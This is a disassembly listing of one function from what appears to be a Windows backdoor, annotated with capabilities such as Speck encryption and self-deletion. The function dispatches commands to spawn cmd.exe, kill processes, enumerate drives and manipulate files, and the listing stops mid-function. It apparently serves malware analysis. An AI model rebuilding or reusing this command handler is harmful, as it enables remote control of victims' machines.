Function at 0x4064ed
Capabilities:
Access peb ldr_data
Create thread
Encrypt data using speck
Get common file path
Get disk information
Move file
Resolve function by parsing pe exports
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x9188
call fcn.00401589
mov esi, dword [ecx + 4]
mov ebx, dword [ecx + 8]
movzx eax, byte [ecx + 0xc]
mov edi, dword [ecx + 0x10]
lea ecx, [esp + 0x30]
mov dword [esp + 0x58], ecx
mov dword [ecx], esi
mov dword [ecx + 4], ebx
and dword [ecx + 8], 0
lea ecx, [eax - 3]
cmp ecx, 8
jbe 0x40669e
lea ecx, [eax - 0x2f]
cmp ecx, 9
jbe 0x406736
cmp eax, 0x13
je 0x4074a9
cmp eax, 0x1b
je 0x40738d
cmp eax, 0x21
je 0x407467
cmp eax, 0x27
je 0x4073ad
cmp eax, 0x43
je 0x407114
cmp eax, 0x49
mov dword [esp + 0x10], edi
je 0x407230
cmp eax, 0x4a
je 0x407125
cmp eax, 0x4e
jne case.0x4066a2.6
lea edi, [esp + 0x140]
lea esi, [esp + 0x30]
mov ecx, edi
mov edx, esi
call fcn.00406325
movzx eax, word [edi + 4]
test ax, ax
jne 0x408527
mov edi, dword [esp + 0x140]
mov ax, 0xb
cmp edi, 0x100
ja 0x408527
test edi, edi
je 0x406649
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0xa70]
mov edx, dword [ebx + 0xf8]
push edi
push dword [ebx + 0xfc]
call fcn.004047e9
pop eax
pop ecx
lea eax, [esp + 0xa70]
movzx eax, word [eax + 8]
test ax, ax
jne 0x408527
mov edi, dword [esp + 0xa70]
mov ebx, dword [esp + 0xa74]
lea edx, [esp + 0xf0]
lea ecx, [esp + 0x550]
mov dword [edx], esi
push ebx
push edi
call fcn.0040a734
pop eax
pop ecx
mov ecx, edi
mov edx, ebx
push 9
push str._COMSPEC_
call fcn.004062f4
pop ecx
pop edx
test al, 1
je 0x407916
mov eax, dword [esp + 0x10]
mov edx, edi
lea ecx, [eax + 0xf8]
push ebx
call fcn.00404f61
pop eax
mov eax, dword [esp + 0x10]
lea esi, [esp + 0x1180]
mov ecx, esi
mov edx, dword [eax + 0xf8]
push 7
push str.cmd.exe
push dword [eax + 0xfc]
call fcn.00404a3b
add esp, 0xc
xor eax, eax
cmp word [esi + 8], 0
mov edi, 0
jne 0x40668d
mov eax, dword [esp + 0x1184]
mov edi, dword [esp + 0x1180]
test edi, edi
je 0x407868
mov dword [esp + 4], eax
jmp 0x40791a
mov dword [esp + 0x10], edi
jmp dword [ecx*4 + 0x42efa4]
mov ecx, dword [esp + 0x10]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 4
push 0x42b086
push 0x1a
call fcn.00408a20
add esp, 0xc
test ax, ax
jne 0x408527
mov eax, dword [esp + 0x10]
lea esi, [eax + 0xf4]
push esi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
xor edi, edi
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0xe0]
test eax, eax
je 0x406700
cmp dword [edx + 0xe4], 0
je 0x4088fd
mov ecx, dword [eax - 4]
jmp 0x40670f
xor ecx, ecx
cmp dword [edx + 0xe4], 0
je 0x4088fd
inc edi
neg ecx
lea edx, [ecx + edi]
cmp edx, 1
je 0x4088fd
cmp byte [eax + edi - 1], 0
js 0x406728
inc edi
jmp 0x406712
mov eax, dword [eax - 0xc]
mov eax, dword [eax + edi*4 - 4]
mov ecx, dword [eax]
call dword [eax + 4]
jmp 0x4066e0
mov dword [esp + 0x10], edi
push 4
pop edi
jmp dword [ecx*4 + 0x42efc8]
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
imul ecx, dword [esp + 0x1180], 0xf4240
xor edx, edx
mov esi, eax
call fcn.00404d8b
mov eax, esi
jmp 0x408527
mov ecx, dword [esp + 0x10]
mov edx, str.not_support
push 0xb
jmp 0x408503
mov edi, dword [esp + 0x10]
mov eax, esi
lea esi, [esp + 0xa70]
mov ecx, esi
mov edx, dword [edi + 0xf8]
push ebx
push eax
push dword [edi + 0xfc]
call fcn.00404a3b
add esp, 0xc
movzx eax, word [esi + 8]
test ax, ax
jne 0x408527
mov edx, dword [esp + 0xa70]
mov ebx, dword [esp + 0xa74]
lea eax, [edi + 0xf8]
lea esi, [esp + 0x760]
mov dword [esp + 0xc], eax
mov ecx, esi
mov dword [esp + 4], edx
push 0x42bafc
push ebx
call fcn.00409161
pop eax
pop ecx
cmp word [esi + 4], 0
je 0x4075c3
mov ecx, edi
mov edx, str.open
push 4
call fcn.00408939
pop ecx
test ax, ax
je 0x407a12
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov esi, eax
push ebx
jmp 0x407949
lea edi, [esp + 0x760]
lea edx, [esp + 0x1180]
mov ecx, edi
push ebx
push esi
call fcn.0040909f
pop eax
pop ecx
cmp word [edi + 4], 0
mov esi, dword [esp + 0x10]
jne 0x406886
mov eax, dword [esp + 0x760]
cmp eax, 0x104
ja 0x406886
add eax, eax
lea ecx, [esp + 0xa70]
mov word [ecx], ax
mov word [ecx + 2], ax
lea eax, [esp + 0x1180]
mov dword [ecx + 4], eax
push ecx
call sub.ntdll.dll_RtlSetCurrentDirectory_U
cmp eax, 0xc0000013
je 0x406886
test eax, eax
je 0x407a12
mov ecx, esi
mov edx, 0x42b08b
push 2
jmp 0x408503
lea esi, [esp + 0xa70]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov edi, dword [esp + 0xa70]
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov al, byte [esp + 0x1180]
mov ecx, dword [esp + 0x10]
mov dword [ecx + 0xa8], edi
mov byte [ecx + 0xba], al
jmp 0x407a12
xor ecx, ecx
lea edx, [esp + 0x58]
inc ecx
push dword [esp + 0x10]
jmp 0x40711b
mov ecx, esi
mov edx, ebx
mov dword [esp], esi
call fcn.0040a79f
test eax, eax
je 0x4084f8
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov edi, edx
lea edx, [esp + 0x68]
lea esi, [esp + 0xd4]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x2c]
mov dword [edx], ecx
mov ecx, esi
push edi
push eax
call fcn.0040a66e
pop eax
pop ecx
cmp word [esi + 4], 0
jne 0x4084f8
mov ecx, dword [esp]
mov edi, dword [esp + 0xd4]
mov edx, ebx
call fcn.00404b32
mov ebx, edx
lea esi, [esp + 0x450]
lea edx, [esp + 0xa8]
mov dword [edx], edi
mov ecx, esi
push 5
push ebx
mov dword [esp + 0xc], eax
push eax
call fcn.0040ac9f
add esp, 0xc
movzx esi, word [esi + 8]
test si, si
jne 0x4084ed
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 4]
cmp byte [esp + 0x454], 0
mov dword [esp], edi
je 0x40785e
mov edi, dword [esp + 0x450]
lea esi, [esp + 0x1180]
push 0x7208
push 0
push esi
call fcn.00403060
add esp, 0xc
movzx eax, byte [esi + 0x7200]
imul ecx, eax, 0x720
inc al
mov edx, eax
and dl, 0x1f
mov byte [esi + 0x7200], dl
mov dword [esp + ecx + 0x1180], edi
mov edi, dword [esp + 0xc]
mov esi, dword [esp]
and dword [esp + ecx + 0x1184], 0
and dword [esp + ecx + 0x1188], 0
mov byte [esp + ecx + 0x1590], 0
mov dword [esp + ecx + 0x1890], ebx
mov dword [esp + ecx + 0x1894], edi
lea edi, [esp + 0x550]
mov dword [esp + ecx + 0x1898], esi
test al, 0x1f
je 0x40785e
dec al
movzx eax, al
and eax, 0x1f
imul eax, eax, 0x720
lea esi, [esp + eax + 0x1180]
mov dword [esp + 0x14], eax
mov ecx, edi
mov edx, esi
call fcn.0040a403
cmp word [esp + 0x560], 0
jne 0x407e96
cmp byte [esp + 0x55c], 0
je 0x406dff
mov bh, byte [esp + 0x558]
mov eax, dword [esp + 0x550]
mov ecx, dword [esp + 0x554]
cmp bh, 2
mov dword [esp + 4], eax
mov dword [esp + 0xc], ecx
sete bl
test bl, 1
je 0x406ad5
mov al, byte [esp + 0x8380]
shl al, 3
sar al, 3
js 0x406b25
lea ecx, [esp + 0xb0]
mov edx, esi
push 0x42bb70
push dword [esp + 0x10]
push dword [esp + 0xc]
call fcn.00409b43
add esp, 0xc
movzx ecx, word [esp + 0xb4]
movzx eax, cx
jmp dword [eax*4 + 0x42f05c]
mov edx, dword [esp + 4]
mov ecx, esi
push dword [esp + 0xc]
call fcn.0040adaa
pop ecx
cmp ax, 0x1c
ja 0x407d71
movzx edx, ax
cmp edx, 0x17
jne 0x406afc
xor bl, 1
jmp 0x406a8d
mov ecx, 0x1022fa00
mov dword [esp + 8], eax
bt ecx, edx
jb 0x407d75
mov eax, dword [esp + 8]
mov ecx, 0x101
bt ecx, edx
jb 0x406a44
jmp 0x407d71
mov byte [esp + 0x23], bh
mov eax, dword [esi]
lea ecx, [esp + 0x140]
lea edx, [esp + 0x70]
mov dword [esp + 0x70], eax
movzx eax, bh
push eax
push dword [esp + 0x10]
push dword [esp + 0xc]
call fcn.0040ac9f
add esp, 0xc
movzx eax, word [esp + 0x148]
mov ebx, eax
test ax, ax
jne 0x407ef9
cmp byte [esp + 0x144], 0
je 0x406d7a
mov edi, dword [esp + 0x140]
mov edx, dword [esp + 4]
mov ecx, dword [esp + 0xc]
mov al, 1
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x60], edi
mov dword [esp + 0x54], edx
mov dword [esp + 0x50], ecx
mov dword [esp + 0xa70], edi
and dword [esp + 0xa74], 0
and dword [esp + 0xa78], 0
mov dword [esp + 0x1c], edi
lea edi, [esp + 0xf0]
mov byte [esp + 0xe80], 0
lea ecx, [esp + 0x240]
lea edx, [esp + 0xa70]
call fcn.0040a403
movzx ebx, word [esp + 0x250]
test bx, bx
jne 0x407ee0
cmp byte [esp + 0x24c], 0
je 0x406cf4
cmp byte [esp + 0x248], 2
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
sete bl
mov dword [esp + 0x18], eax
mov dword [esp + 8], ecx
test bl, 1
je 0x406c47
mov ecx, edi
lea edx, [esp + 0x60]
push 0x42bb70
push dword [esp + 0xc]
push dword [esp + 0x20]
call fcn.00409b43
add esp, 0xc
movzx ecx, word [esp + 0xf4]
movzx eax, cx
jmp dword [eax*4 + 0x42eff0]
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x60]
push dword [esp + 8]
call fcn.0040adaa
pop ecx
cmp ax, 0x1c
ja 0x408198
movzx edx, ax
cmp edx, 0x17
jne 0x406c70
xor bl, 1
jmp 0x406c15
mov ecx, 0x1022fa00
mov ebx, eax
bt ecx, edx
jb 0x407ee0
mov ecx, 0x101
lea edi, [esp + 0xf0]
mov eax, ebx
bt ecx, edx
jb 0x406bc2
jmp 0x408198
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
test byte [esp + 0x24], 1
je 0x406d2c
mov eax, dword [esi]
mov edx, dword [esp + 4]
lea ecx, [esp + 0x48]
mov dword [esp + 0x48], eax
push dword [esp + 0xc]
call fcn.0040ad4f
pop ecx
mov bh, byte [esp + 0x23]
cmp ax, 0x6c
je 0x406b29
jmp 0x406d6c
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x54]
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], eax
push dword [esp + 0x50]
call fcn.0040ad4f
pop ecx
test ax, ax
je 0x406d5a
mov edi, eax
movzx eax, di
cmp eax, 8
je 0x406d5a
cmp eax, 0x6c
jne 0x406d86
push dword [esp + 0x28]
call sub.ntdll.dll_NtClose
mov bh, byte [esp + 0x23]
jmp 0x406b29
mov edi, eax
movzx eax, di
test eax, eax
je 0x406d7a
cmp eax, 8
jne 0x406d8f
lea edi, [esp + 0x550]
jmp 0x406a44
push dword [esp + 0x28]
call sub.ntdll.dll_NtClose
mov ebx, edi
lea edi, [esp + 0x550]
test bx, bx
je 0x406a44
jmp 0x407ef9
mov ecx, dword [esi]
call case.0x40ad09.1
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x3c]
mov esi, dword [esp + eax + 0x1898]
mov edx, dword [esp + eax + 0x1890]
mov ebx, dword [esp + eax + 0x1894]
mov al, byte [esp + 0x8380]
dec al
mov dword [esp + 0x3c], esi
mov dword [esp + 4], edx
mov dword [esp + 0xc], ebx
and al, 0x1f
mov byte [esp + 0x8380], al
push ebx
call fcn.0040ad4f
pop ecx
test ax, ax
je 0x406efe
movzx ecx, ax
cmp ecx, 8
je 0x406efe
cmp ecx, 0x6c
mov dword [esp + 8], eax
jne 0x4084c4
mov bl, 1
test bl, 1
je 0x406eaa
lea ecx, [esp + 0x80]
lea edx, [esp + 0x3c]
push 0x42bb70
push dword [esp + 0x10]
push dword [esp + 0xc]
call fcn.00409b43
add esp, 0xc
movzx ecx, word [esp + 0x84]
lea edi, [esp + 0x550]
movzx eax, cx
jmp dword [eax*4 + 0x42f0c8]
mov edx, dword [esp + 4]
lea ecx, [esp + 0x3c]
push dword [esp + 0xc]
call fcn.0040adaa
pop ecx
cmp ax, 0x1c
ja 0x40849e
movzx edx, ax
cmp edx, 0x17
jne 0x406ed3
xor bl, 1
jmp 0x406e6c
mov ecx, 0x1022fa00
mov dword [esp + 8], eax
bt ecx, edx
jb 0x4084a2
mov eax, dword [esp + 8]
mov ecx, 0x101
lea edi, [esp + 0x550]
bt ecx, edx
jae 0x40849e
mov al, byte [esp + 0x8380]
jmp 0x406a23
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
cmp ebx, 4
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x2c]
mov dword [esp + 8], eax
jae 0x407518
test ebx, ebx
je 0x40756a
mov al, byte [esi]
jmp 0x407691
cmp ebx, 4
lea eax, [esp + 0x5c]
cmovae ebx, edi
push ebx
push esi
push eax
call fcn.0040307b
add esp, 0xc
lea esi, [esp + 0xa8]
lea edx, [esp + 0x30]
mov ecx, esi
mov dword [edx + 8], ebx
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0xa8]
lea esi, [esp + 0xb0]
mov ecx, esi
mov edx, dword [eax + 0xf8]
push ebx
push dword [eax + 0xfc]
call fcn.004047e9
pop eax
pop ecx
movzx eax, word [esi + 8]
test ax, ax
jne 0x408527
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xb0]
mov esi, dword [esp + 0xb4]
lea ecx, [esp + 0x30]
add eax, 0xf8
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
push esi
call fcn.004064c2
mov edx, dword [esp + 0x10]
add esp, 4
xor ecx, ecx
inc ecx
test ax, ax
mov eax, ecx
mov ecx, dword [esp + 4]
jne 0x4082a3
cmp byte [edx + ebx - 1], 0x2a
lea eax, [ebx - 1]
lea ebx, [esp + 0x760]
mov dword [esp], esi
mov ecx, ebx
cmovne eax, esi
push eax
call fcn.004098a2
pop eax
cmp word [ebx + 0x210], 0
jne 0x408287
lea eax, [esp + 0x240]
push 0x210
push ebx
push eax
call fcn.0040307b
add esp, 0xc
lea edx, [esp + 0x244]
lea esi, [esp + 0x48]
mov ebx, dword [edx - 4]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 0x2c]
lea eax, [esp + 0x450]
mov dword [eax], 0x80100000
mov dword [eax + 4], ecx
and dword [eax + 8], 0
mov dword [esp + 0x14], ecx
xor ecx, ecx
inc ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], 0x100
mov ecx, esi
push eax
mov dword [esp + 0xc], ebx
push ebx
call fcn.004098ff
pop eax
pop ecx
movzx eax, word [esi + 4]
cmp eax, 0x17
je 0x407bc5
test eax, eax
je 0x407c15
jmp 0x408282
cmp ebx, 4
cmovb edi, ebx
lea ebx, [esp + 0x1180]
push edi
push esi
push ebx
call fcn.0040307b
add esp, 0xc
mov dword [esp + 0x38], edi
call sub.KERNEL32.dll_GetLogicalDrives
test eax, eax
je 0x40752a
lea ecx, [esp + 0x1184]
lea edi, [esp + 0xa70]
lea edx, [esp + 0x760]
mov dword [edi], ecx
mov dword [edi + 4], 0xa
and dword [edi + 8], 0
mov ecx, eax
mov dword [edx], edi
call fcn.0040a6da
mov ecx, dword [esp + 0x10]
xor edx, edx
mov eax, dword [edi + 8]
inc edx
lock xadd dword [ecx], edx
add eax, 4
push eax
push ebx
push 0x16
jmp 0x40851f
lea edx, [esp + 0x58]
xor ecx, ecx
push edi
call fcn.0040ae02
jmp 0x408508
lea edi, [esp + 0xb0]
lea esi, [esp + 0x30]
mov ecx, edi
mov edx, esi
call fcn.00406325
movzx eax, word [edi + 4]
test ax, ax
jne 0x408527
mov ebx, dword [esp + 0xb0]
cmp ebx, 0x100
ja 0x407a12
lea edx, [esp + 0x48]
lea eax, [esp + 0x140]
lea ecx, [esp + 0x80]
mov dword [edx], esi
push ebx
push eax
call fcn.0040a734
pop eax
pop ecx
lea edi, [esp + 0xf0]
mov edx, esi
mov ecx, edi
call fcn.00406325
movzx eax, word [edi + 4]
test ax, ax
jne 0x408527
mov edi, dword [esp + 0xf0]
cmp edi, 0x100
ja 0x407a12
lea edx, [esp + 0xd4]
lea eax, [esp + 0x550]
lea ecx, [esp + 0x450]
mov dword [edx], esi
push edi
push eax
call fcn.0040a734
pop eax
pop ecx
lea esi, [esp + 0xa70]
lea edx, [esp + 0x140]
mov ecx, esi
push ebx
call fcn.004098a2
pop eax
cmp word [esi + 0x210], 0
jne 0x407222
lea eax, [esp + 0x240]
push 0x210
push esi
push eax
call fcn.0040307b
add esp, 0xc
lea esi, [esp + 0x1180]
lea edx, [esp + 0x550]
mov ecx, esi
push edi
call fcn.004098a2
pop eax
cmp word [esi + 0x210], 0
je 0x407d32
mov ecx, dword [esp + 0x10]
mov edx, 0x42b0f3
jmp 0x40688d
lea esi, [esp + 0x68]
lea edi, [esp + 0x30]
mov ecx, esi
mov edx, edi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov ebx, dword [esp + 0x68]
cmp ebx, 0x100
ja 0x407a12
lea edx, [esp + 0xec]
lea eax, [esp + 0x450]
lea ecx, [esp + 0xa8]
mov dword [edx], edi
push ebx
push eax
call fcn.0040a734
pop eax
pop ecx
lea esi, [esp + 0x3c]
mov edx, edi
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov esi, dword [esp + 0x3c]
cmp esi, 0x100
ja 0x407a12
lea edx, [esp + 0x5c]
lea eax, [esp + 0x140]
lea ecx, [esp + 0x60]
mov dword [edx], edi
push esi
push eax
call fcn.0040a734
pop eax
pop ecx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov dword [esp + 0xc], esi
lea edi, [esp + 0x70]
lea edx, [esp + 0x44]
mov ecx, edi
mov eax, dword [eax + 0x10]
mov esi, dword [eax + 0x2c]
mov dword [edx], esi
push 0x42bafc
push ebx
lea eax, [esp + 0x458]
push eax
call fcn.0040a569
add esp, 0xc
cmp word [edi + 4], 0
jne 0x408141
mov edx, dword [esp + 0x70]
mov ebx, dword [esp + 0xc]
lea edi, [esp + 0xf0]
mov ecx, edi
mov dword [esp + 4], edx
call fcn.00409192
cmp word [edi + 0x48], 0
jne 0x408138
mov eax, dword [esp + 0xf8]
lea ecx, [esp + 0x140]
mov edx, ebx
mov dword [esp + 0x2c], esi
mov dword [esp], eax
mov eax, dword [esp + 0xfc]
mov dword [esp + 8], eax
call fcn.0040a79f
test eax, eax
je 0x407ec6
mov edi, edx
lea edx, [esp + 0x760]
mov dword [edx], esi
lea esi, [esp + 0x1180]
mov ecx, esi
push edi
push eax
call fcn.0040a66e
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
je 0x407f23
mov word [esp + 0xa4], ax
jmp 0x407f58
lea ecx, [esp + 0x1180]
call fcn.004049ae
mov esi, edx
xor edx, edx
mov ecx, edi
inc edx
lock xadd dword [edi], edx
push esi
push eax
push 0x10
jmp 0x40851f
mov dword [esp + 0x10], edi
lea edi, [esp + 0x1180]
push edi
push 0x104
call sub.KERNEL32.dll_GetCurrentDirectoryW
test eax, eax
je 0x40753a
lea ecx, [esp + 0x240]
add eax, eax
mov dword [ecx], edi
mov dword [ecx + 4], eax
and dword [ecx + 8], 0
xor edi, edi
lea ecx, [esp + 0x760]
lea edx, [esp + 0x240]
call fcn.004096bd
cmp byte [esp + 0x764], 0
je 0x40754f
movzx eax, byte [esp + 0x762]
movzx ebx, word [esp + 0x760]
lea ecx, [esp + 0x140]
shl eax, 0x10
or ebx, eax
mov edx, ebx
call fcn.0040978f
movzx eax, byte [esp + 0x142]
add eax, edi
cmp eax, 0xff
ja 0x40753f
mov esi, 0x100
lea eax, [esp + edi + 0xa70]
lea ecx, [esp + 0x550]
mov edx, ebx
sub esi, edi
push esi
push eax
call fcn.004097d7
pop eax
pop ecx
movzx eax, byte [esp + 0x552]
add edi, eax
jmp 0x4073df
lea esi, [esp + 0x1180]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov ecx, dword [esp + 0x1180]
call fcn.0040af6c
test ax, ax
je 0x407614
mov ecx, edi
mov edx, str.kill
push 4
jmp 0x408503
lea esi, [esp + 0xa70]
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.00406325
movzx eax, word [esi + 4]
test ax, ax
jne 0x408527
mov ebx, dword [esp + 0xa70]
lea eax, [edi + 0xf4]
mov dword [esp], eax
push eax
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov esi, dword [edi + 0xe0]
cmp dword [edi + 0xe4], 0
mov ecx, 0x42bd54
je 0x407781
mov ecx, ebx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], ebx
call fcn.004095e7
test esi, esi
je 0x407629
mov ecx, dword [esi - 4]
lea ebx, [ecx - 1]
jmp 0x40762e
movzx eax, byte [esi]
cmp eax, 0x5c
je 0x407571
cmp eax, 0x2f
je 0x407587
jmp 0x407691
mov ecx, dword [esp + 0x10]
mov edx, str.drivers
push 7
jmp 0x408503
call sub.KERNEL32.dll_GetLastError
mov ecx, dword [esp + 0x10]
mov edx, 0x42b098
push 3
jmp 0x408503
mov ecx, dword [esp + 0x10]
xor edx, edx
lea eax, [esp + 0xa70]
inc edx
lock xadd dword [ecx], edx
push edi
push eax
push 0x13
jmp 0x40851f
xor edi, edi
jmp 0x4079b4
movzx ecx, byte [esi + 3]
cmp ecx, 0x5c
je 0x4077be
cmp ecx, 0x2f
jne 0x4076a2
xor ecx, ecx
movzx edx, byte [esi + 1]
mov edi, esi
cmp edx, 0x2f
je 0x4075a6
cmp edx, 0x3f
je 0x40767d
cmp edx, 0x5c
jne 0x40768f
movzx ecx, byte [edi + 2]
cmp ecx, 0x2e
je 0x40773c
mov esi, edi
cmp ecx, 0x3f
je 0x40773c
jmp 0x407691
mov edi, dword [esp + 0x760]
mov dword [esp], ebx
lea ebx, [esp + 0x1180]
mov ecx, ebx
mov edx, edi
call fcn.00409192
cmp word [ebx + 0x48], 0
je 0x4077c5
mov ecx, dword [esp + 0x10]
mov edx, str.stat
push 4
call fcn.00408939
pop ecx
test ax, ax
je 0x407a12
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov esi, eax
push dword [esp]
jmp 0x407949
xor edx, edx
mov ecx, edi
inc edx
lock xadd dword [edi], edx
push 7
push str.kill_ok
jmp 0x40851d
xor ecx, ecx
xor ebx, ebx
dec ebx
mov edi, dword [esp + 0xc]
shr edx, 0x19
and eax, ebx
mov dword [esp + 4], edx
mov edx, ebx
mov bl, byte [esi + eax]
sub ecx, 1
setb bh
test bl, bl
je 0x40766c
test bh, bh
jne 0x40766c
test bl, bl
jns 0x407667
and bl, 0x7f
cmp byte [esp + 4], bl
jne 0x407667
mov ebx, dword [esi - 8]
cmp dword [ebx + eax*4], edi
je 0x407770
inc eax
and eax, edx
jmp 0x40763d
mov edi, dword [esp + 0x10]
mov ebx, dword [esp]
mov ecx, 0x42bd54
jmp 0x407784
cmp byte [edi + 2], 0x3f
mov esi, edi
sete dl
test cl, dl
je 0x407691
jmp 0x40773c
mov esi, edi
cmp al, 0x5c
je 0x40769d
movzx eax, al
cmp eax, 0x2f
jne 0x4076d8
cmp ebx, 2
jb 0x4076d0
movzx eax, byte [esi + 1]
cmp eax, 0x5c
je 0x4076b0
cmp eax, 0x2f
jne 0x4076d0
cmp ebx, 3
jne 0x40772b
push 3
pop edi
movzx eax, byte [esi + 2]
cmp eax, 0x2e
je 0x4079b4
cmp eax, 0x3f
je 0x4079b4
jmp 0x407730
xor edi, edi
inc edi
jmp 0x4079b4
xor edi, edi
cmp ebx, 2
jb 0x4079b4
cmp byte [esi + 1], 0x3a
jne 0x4079b4
push 2
pop edi
cmp ebx, 3
jb 0x4079b4
movzx eax, byte [esi + 2]
cmp eax, 0x5c
je 0x40770b
cmp eax, 0x2f
jne 0x4079b4
push 3
pop edi
cmp edi, ebx
jae 0x4079b2
movzx eax, byte [esi + edi]
cmp eax, 0x5c
je 0x407728
cmp eax, 0x2f
jne 0x4079b4
inc edi
jmp 0x40770e
jb 0x40774c
mov al, byte [esi + 2]
cmp al, 0x2f
je 0x40773c
movzx eax, al
cmp eax, 0x5c
jne 0x40774c
mov ecx, dword [esp + 0x10]
mov edx, str.mkdir
push 5
jmp 0x408503
push 2
pop edi
cmp edi, ebx
jae 0x4078b1
movzx eax, byte [esi + edi]
cmp eax, 0x2f
je 0x4078b3
cmp eax, 0x5c
je 0x4078b3
inc edi
jmp 0x40774f
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x1180]
mov dword [ecx], eax
mov byte [ecx + 4], 1
mov ebx, dword [esp]
cmp byte [ecx + 4], 0
je 0x4077b3
mov eax, dword [ecx]
mov ecx, dword [esi - 0xc]
mov edx, dword [ecx + eax*4]
mov byte [esi + eax], 1
movq xmm0, qword [edi + 0xe4]
paddd xmm0, xmmword [0x42a970]
movq qword [edi + 0xe4], xmm0
mov ecx, dword [edx]
call dword [edx + 4]
push ebx
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
jmp 0x407a12
mov cl, 1
jmp 0x407589
mov eax, dword [esp + 0x1188]
mov dword [esp + 8], eax
call sub.KERNEL32.dll_GetProcessHeap
mov si, 2
test eax, eax
je 0x407bae
mov ebx, eax
push 0x28
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edx, eax
test eax, eax
mov eax, dword [esp]
je 0x407bb1
mov esi, eax
mov eax, dword [esp + 4]
mov ecx, ebx
mov ebx, edx
add ebx, 3
and ebx, 0xfffffffc
mov dword [ebx], eax
mov eax, dword [esp + 8]
mov dword [ebx + 4], esi
mov esi, ecx
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x10]
mov dword [ebx + 0xc], edi
mov edi, edx
mov dword [ebx + 0x10], eax
mov byte [ebx + 0x20], 0
mov dword [ebx + 0x14], edx
mov dword [ebx + 0x18], ecx
push 0
push 0
push ebx
push 0x40930e
push 0x1000000
push 0
call sub.KERNEL32.dll_CreateThread
test eax, eax
je 0x407b9c
mov dword [ebx + 0x1c], eax
add ebx, 0x14
mov ecx, ebx
call fcn.004095c6
jmp 0x407a12
mov edi, dword [esp]
xor esi, esi
jmp 0x4084ed
push 8
pop esi
mov ecx, dword [esp + 0x10]
mov edx, str.shell_path
push 0xa
call fcn.00408939
pop ecx
test ax, ax
cmove eax, esi
jmp 0x408527
mov edi, ebx
cmp edi, ebx
mov eax, ebx
cmova eax, edi
cmp edi, ebx
jae 0x4078cf
movzx ecx, byte [esi + edi]
cmp ecx, 0x5c
je 0x4078cc
cmp ecx, 0x2f
jne 0x4078d1
inc edi
jmp 0x4078ba
mov edi, eax
cmp edi, ebx
mov eax, ebx
cmova eax, edi
cmp edi, ebx
jae 0x4078ed
movzx ecx, byte [esi + edi]
cmp ecx, 0x2f
je 0x4078ef
cmp ecx, 0x5c
je 0x4078ef
inc edi
jmp 0x4078d8
mov edi, eax
cmp edi, ebx
mov eax, ebx
cmova eax, edi
cmp edi, ebx
jae 0x40790f
movzx ecx, byte [esi + edi]
cmp ecx, 0x5c
je 0x40790c
cmp ecx, 0x2f
jne 0x4079b4
inc edi
jmp 0x4078f6
mov edi, eax
jmp 0x4079b4
mov dword [esp + 4], ebx
lea ebx, [esp + 0x240]
lea esi, [esp + 0x30]
mov ecx, ebx
mov edx, esi
call fcn.00406325
movzx eax, word [ebx + 4]
test ax, ax
je 0x407955
mov ecx, dword [esp + 0x10]
mov esi, eax
add ecx, 0xf8
mov edx, edi
push dword [esp + 4]
call fcn.00404f61
mov eax, esi
jmp 0x4082ad
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x10]
lea ebx, [ecx + 0xf8]
cmp eax, 0x1001
jb 0x407984
mov ecx, ebx
mov edx, edi
push dword [esp + 4]
call fcn.00404f61
pop eax
mov ax, 0x5f
jmp 0x408527
mov edx, dword [ebx]
lea ecx, [esp + 0x1180]
push eax
push dword [ebx + 4]
call fcn.004047e9
pop eax
pop ecx
lea eax, [esp + 0x1180]
movzx eax, word [eax + 8]
test ax, ax
je 0x407c51
mov esi, eax
mov ecx, ebx
jmp 0x407943
mov edi, ebx
lea ecx, [esi - 1]
xor eax, eax
mov edx, edi
mov dword [esp], esi
cmp ebx, edx
je 0x407a12
